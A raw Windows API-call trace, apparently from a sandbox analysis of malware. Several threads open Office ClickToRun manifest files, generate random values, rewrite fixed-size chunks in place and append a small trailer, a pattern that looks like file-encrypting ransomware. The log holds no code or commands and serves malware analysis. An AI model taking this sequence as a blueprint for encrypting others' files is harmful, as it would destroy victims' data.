	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x166bec5b
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x3e61ac4
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x67675b30
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x5ea59a18
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x4f719ac5
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0xa0be0527
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0xc56806
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x8978b2c4
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x6d23a0ce
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x5ce7318c
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0xf5efd06c
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x6a17febc
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x1e65a4f5
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0xa3c41c00
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0xe6dd28eb
	[0089.330] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0xcb7e300d
	[0089.331] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0xc3a2881a
	[0089.331] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0xcef57b1e
	[0089.331] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0xbf72e8c7
	[0089.331] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0xdf894a9e
	[0089.331] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0xdb63a732
	[0089.331] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x45e36221
	[0089.331] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x73a0cc45
	[0089.331] RtlRandom (in: Seed=0x2cfbfc2c | out: Seed=0x2cfbfc2c) returned 0x16388ffa
	[0089.339] SetFilePointerEx (in: hFile=0x1c4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.339] ReadFile (in: hFile=0x1c4c, lpBuffer=0x4939810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2cfbfc00, lpOverlapped=0x0 | out: lpBuffer=0x4939810*, lpNumberOfBytesRead=0x2cfbfc00*=0xc800, lpOverlapped=0x0) returned 1
	[0089.340] SetFilePointerEx (in: hFile=0x1c4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0089.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0089.340] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d6e250
	[0089.340] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6e250) returned 1
	[0089.341] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4946018
	[0089.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d6e250
	[0089.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0089.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0089.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0089.342] WriteFile (in: hFile=0x1c4c, lpBuffer=0x4946018*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2cfbfc00, lpOverlapped=0x0 | out: lpBuffer=0x4946018*, lpNumberOfBytesWritten=0x2cfbfc00*=0xc800, lpOverlapped=0x0) returned 1
	[0093.217] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4946018) returned 1
	[0093.217] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4939810) returned 1
	[0093.217] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7d) returned 0x498dce0
	[0093.217] SetFilePointerEx (in: hFile=0x1c4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.217] WriteFile (hFile=0x1c4c, lpBuffer=0x2e03c08, nNumberOfBytesToWrite=0x161, lpNumberOfBytesWritten=0x2cfbfc80, lpOverlapped=0x0) 

Thread:
	id = 1303
	os_tid = 0x2098

	[0089.329] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml")) returned 0x20
	[0089.343] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1
	[0089.344] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c50
	[0089.344] GetFileSizeEx (in: hFile=0x1c50, lpFileSize=0x2d03f8d4 | out: lpFileSize=0x2d03f8d4*=14132) returned 1
	[0089.344] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x3730, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.344] ReadFile (in: hFile=0x1c50, lpBuffer=0x2d03f858, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d03f854, lpOverlapped=0x0 | out: lpBuffer=0x2d03f858*, lpNumberOfBytesRead=0x2d03f854*=0x4, lpOverlapped=0x0) returned 1
	[0089.345] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0089.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731da8
	[0089.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731f60
	[0089.345] NtQuerySystemTime (in: CurrentTime=0x2d03f834 | out: CurrentTime=0x2d03f834*=132251868160850555) returned 0x0
	[0089.345] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x4ca8bb51
	[0089.345] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x29617599
	[0089.345] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0xfb66031b
	[0089.345] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x4f32e498
	[0089.345] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0xafba98a2
	[0089.345] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x5e93f6e4
	[0089.345] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0xd1a5de1b
	[0089.345] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x6e0abe90
	[0089.345] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x4d3a394c
	[0089.345] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x75b3ce41
	[0089.345] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0xa5ad1797
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x8cef2af1
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x83e55fe7
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x9c84edf6
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x724bf29c
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x2d654316
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x6ebf7564
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x98597faf
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0xa80f681b
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0xa7cc9747
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0xee750b9
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x70b115a
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0xc27c3fec
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x818053ce
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x65fe32cd
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x9fe8d99a
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x5d0e9e96
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0xf4cda214
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x7d6e9fa0
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x1890491a
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x8d82a950
	[0089.346] RtlRandom (in: Seed=0x2d03f840 | out: Seed=0x2d03f840) returned 0x1f05a5cc
	[0089.355] ReadFile (in: hFile=0x1c50, lpBuffer=0x4952820, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x2d03f830, lpOverlapped=0x0 | out: lpBuffer=0x4952820*, lpNumberOfBytesRead=0x2d03f830*=0x3734, lpOverlapped=0x0) returned 1
	[0089.357] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.357] WriteFile (in: hFile=0x1c50, lpBuffer=0x495f028*, nNumberOfBytesToWrite=0x3734, lpNumberOfBytesWritten=0x2d03f82c, lpOverlapped=0x0 | out: lpBuffer=0x495f028*, lpNumberOfBytesWritten=0x2d03f82c*=0x3734, lpOverlapped=0x0) returned 1
	[0093.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0093.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0093.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0093.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x495f028) returned 1
	[0093.222] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4952820) returned 1
	[0093.229] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82bf8) returned 1
	[0093.229] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb5d0) returned 1
	[0093.229] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5f) returned 0x4733660
	[0093.229] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.229] WriteFile (hFile=0x1c50, lpBuffer=0x4790048, nNumberOfBytesToWrite=0x143, lpNumberOfBytesWritten=0x2d03f894, lpOverlapped=0x0) 

Thread:
	id = 1304
	os_tid = 0x209c

	[0089.358] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml")) returned 0x20
	[0089.358] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0089.358] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c54
	[0089.359] GetFileSizeEx (in: hFile=0x1c54, lpFileSize=0x2d0bfecc | out: lpFileSize=0x2d0bfecc*=731118) returned 1
	[0089.359] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0xb27ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.359] ReadFile (in: hFile=0x1c54, lpBuffer=0x2d0bfe50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d0bfe4c, lpOverlapped=0x0 | out: lpBuffer=0x2d0bfe50*, lpNumberOfBytesRead=0x2d0bfe4c*=0x4, lpOverlapped=0x0) returned 1
	[0089.360] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ce0
	[0089.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ec0
	[0089.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d08
	[0089.360] NtQuerySystemTime (in: CurrentTime=0x2d0bfe2c | out: CurrentTime=0x2d0bfe2c*=132251868161006767) returned 0x0
	[0089.360] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x9362f4ba
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x319369b
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x2cbc885
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0xab59a906
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x6acfa1c1
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x6275746e
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x42fda8b4
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0xbfdcfbd6
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x140d11f5
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x6ca65297
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0xf0588b4f
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0xa1958068
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x80dc878e
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0xa6c863ab
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x8d5eb08a
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x45c4c871
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x7005aeaa
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x617d898
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0xf2c37177
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0xb77bf31
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0xa16a3435
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0xbc4d5b18
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x849d34ea
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0xbdbd8831
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x286fb5a4
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0xd27a8d1e
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x883d25b5
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0xa62666b7
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x25059cb2
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x6be0d54f
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0x7dbf72cd
	[0089.361] RtlRandom (in: Seed=0x2d0bfe38 | out: Seed=0x2d0bfe38) returned 0xc0d10d8e
	[0089.370] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.370] ReadFile (in: hFile=0x1c54, lpBuffer=0x496b830, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2d0bfde4, lpOverlapped=0x0 | out: lpBuffer=0x496b830*, lpNumberOfBytesRead=0x2d0bfde4*=0xc800, lpOverlapped=0x0) returned 1
	[0089.371] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb420
	[0089.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82a18
	[0089.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731e98
	[0089.372] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731e98) returned 1
	[0089.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4978038
	[0089.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d58
	[0089.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d80
	[0089.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731d80) returned 1
	[0089.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82a18) returned 1
	[0089.374] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb420) returned 1
	[0089.374] WriteFile (in: hFile=0x1c54, lpBuffer=0x4978038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2d0bfde4, lpOverlapped=0x0 | out: lpBuffer=0x4978038*, lpNumberOfBytesWritten=0x2d0bfde4*=0xc800, lpOverlapped=0x0) returned 1
	[0093.217] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4978038) returned 1
	[0093.217] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0x64000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.218] ReadFile (in: hFile=0x1c54, lpBuffer=0x496b830, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2d0bfde4, lpOverlapped=0x0 | out: lpBuffer=0x496b830*, lpNumberOfBytesRead=0x2d0bfde4*=0xc800, lpOverlapped=0x0) returned 1
	[0093.414] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0x64000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.414] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0093.414] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x47539f8
	[0093.414] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984ca8
	[0093.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984ca8) returned 1
	[0093.415] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x507f070
	[0093.419] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984910
	[0093.419] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c80
	[0093.419] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984c80) returned 1
	[0093.419] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47539f8) returned 1
	[0093.420] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0093.420] WriteFile (in: hFile=0x1c54, lpBuffer=0x507f070*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2d0bfde4, lpOverlapped=0x0 | out: lpBuffer=0x507f070*, lpNumberOfBytesWritten=0x2d0bfde4*=0xc800, lpOverlapped=0x0) returned 1
	[0093.553] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x507f070) returned 1
	[0093.553] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0xa5fee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.553] ReadFile (in: hFile=0x1c54, lpBuffer=0x496b830, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2d0bfde4, lpOverlapped=0x0 | out: lpBuffer=0x496b830*, lpNumberOfBytesRead=0x2d0bfde4*=0xc800, lpOverlapped=0x0) returned 1
	[0093.916] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0xa5fee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.916] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb030
	[0093.916] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0093.916] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984a50
	[0093.916] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984a50) returned 1
	[0093.917] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ff2800
	[0093.917] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x49849d8
	[0093.917] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984a50
	[0093.917] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984a50) returned 1
	[0093.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0093.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb030) returned 1
	[0093.918] WriteFile (in: hFile=0x1c54, lpBuffer=0x4ff2800*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2d0bfde4, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesWritten=0x2d0bfde4*=0xc800, lpOverlapped=0x0) returned 1
	[0093.938] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0093.938] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733938
	[0093.939] SetFilePointerEx (in: hFile=0x1c54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.939] WriteFile (hFile=0x1c54, lpBuffer=0x2e02540, nNumberOfBytesToWrite=0x195, lpNumberOfBytesWritten=0x2d0bfe8c, lpOverlapped=0x0) 

Thread:
	id = 1305
	os_tid = 0x20a0

	[0089.360] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml")) returned 0x20
	[0089.376] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1
	[0089.376] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c58
	[0089.377] GetFileSizeEx (in: hFile=0x1c58, lpFileSize=0x2d13f990 | out: lpFileSize=0x2d13f990*=174846) returned 1
	[0089.377] SetFilePointerEx (in: hFile=0x1c58, liDistanceToMove=0x2aafa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.377] ReadFile (in: hFile=0x1c58, lpBuffer=0x2d13f914, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d13f910, lpOverlapped=0x0 | out: lpBuffer=0x2d13f914*, lpNumberOfBytesRead=0x2d13f910*=0x4, lpOverlapped=0x0) returned 1
	[0089.378] SetFilePointerEx (in: hFile=0x1c58, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ce0
	[0089.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ee8
	[0089.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731d08
